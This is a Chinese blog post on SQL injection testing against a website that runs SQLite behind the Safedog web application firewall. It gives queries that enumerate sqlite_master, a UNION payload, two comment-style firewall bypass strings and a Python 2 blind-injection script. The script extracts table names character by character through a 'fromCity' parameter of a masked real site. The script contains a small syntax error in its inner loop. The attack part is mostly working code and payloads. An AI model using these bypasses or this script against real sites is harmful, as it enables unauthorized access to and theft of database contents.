Sqlite注入测试

简介: 测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:   取得sqlite数据库里所有的表名 查询table,type 段是'table',name段是table的名字, so: select name from s...

测试了一个网站是Sqlite数据库,还装有安全狗,绕过了防护,找到Payload,写了一个Python脚本来跑表,这里总结一下:

 

取得sqlite数据库里所有的表名

查询table,type 段是'table',name段是table的名字,

so: select name from sqlite_master where type='table' order by name;

查询一条记录:select name from sqlite_master where type='table' order by name limit 0,1 

 

sqlite_version(*) 返回SQLite的版本

与MySQL5.x类似的,Sqlite存在与information_schema类似的⼀一个表,默认并不显示,名为sqlite_master,表中的字段有type,name,tbl_name,rootpage,sql,⽐较有价值的是sql字段

union select 1,sql,2,3 from sqlite_master

 

绕过安全狗简单的两个方法:

/*'+'*/   

/**a*/

 

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import urllib
import urllib2

payloads = '0123456789@_.abcdefghijklmnopqrstuvwxyz'

header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  } 
values={}
print 'Start to retrive user:'
user= ''

for i in range(1, 15):
    for payload in payloads
        values['fromCity']="xxx'/**a*/and/**a*/"+"substr((select name from sqlite_master where type='table' order by name limit 0,1),%s,1)='%s'--" %(i,str(payload))
        
        data = urllib.urlencode(values)
        url = "http://www.xxxx.com/xxxx.aspx"
        geturl = url+'?'+data
        request = urllib2.Request(geturl,headers=header)
        response = urllib2.urlopen(request,timeout=5)

        result=response.read()
        print '.',
        if result.count('HO1110')>0:
            user += payload
            print '\n\n[in progress]', user,
            break
            
print '\n\n[Done]  user is %s' % user

 

 

 

参考文章:

PHP/Sqlite下常见漏洞浅析:http://www.2cto.com/Article/201410/342032.html

目录
相关文章
|
7月前
|
SQL 存储 数据库
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
Python 的安全性和测试:什么是 SQL 注入攻击?如何防范 SQL 注入?
99 1
|
7月前
|
SQL 安全 关系型数据库
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。 总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。 请看这段代码
582 8
|
Java 测试技术 Spring
springboot测试环境无法注入bean问题分析及解决方案
springboot测试环境无法注入bean问题分析及解决方案
3334 0
springboot测试环境无法注入bean问题分析及解决方案
|
2月前
|
Java 程序员 测试技术
Java|让 JUnit4 测试类自动注入 logger 和被测 Service
本文介绍如何通过自定义 IDEA 的 JUnit4 Test Class 模板,实现生成测试类时自动注入 logger 和被测 Service。
26 5
|
2月前
|
监控 安全 Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(一)
|
2月前
|
安全 Unix Linux
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
Kali渗透测试:远程控制被控端免杀及DLL生成、注入反弹(二)
|
5月前
|
Java 测试技术 API
详解单元测试问题之Mockito的注入过程如何解决
详解单元测试问题之Mockito的注入过程如何解决
104 1
|
5月前
|
测试技术
详解单元测试问题之@InjectMocks注入mock对象如何解决
详解单元测试问题之@InjectMocks注入mock对象如何解决
215 1
|
4月前
|
安全 数据库连接 数据库
可靠性测试-故障注入工具
【7月更文挑战第19天】可靠性测试中的故障注入工具对评估系统容错性与稳定性至关重要。常见工具如 **FaultInjector** (模拟多类故障)、**Xception** (针对特定组件注入错误) 和 **Chaos Monkey** (验证云环境下系统弹性) 帮助开发者提前发现潜在问题, 优化系统设计, 如电商公司通过测试确保促销期稳定, 金融机构降低交易风险。选择合适工具并结合业务场景测试对提升可靠性至关重要。
137 0
|
5月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试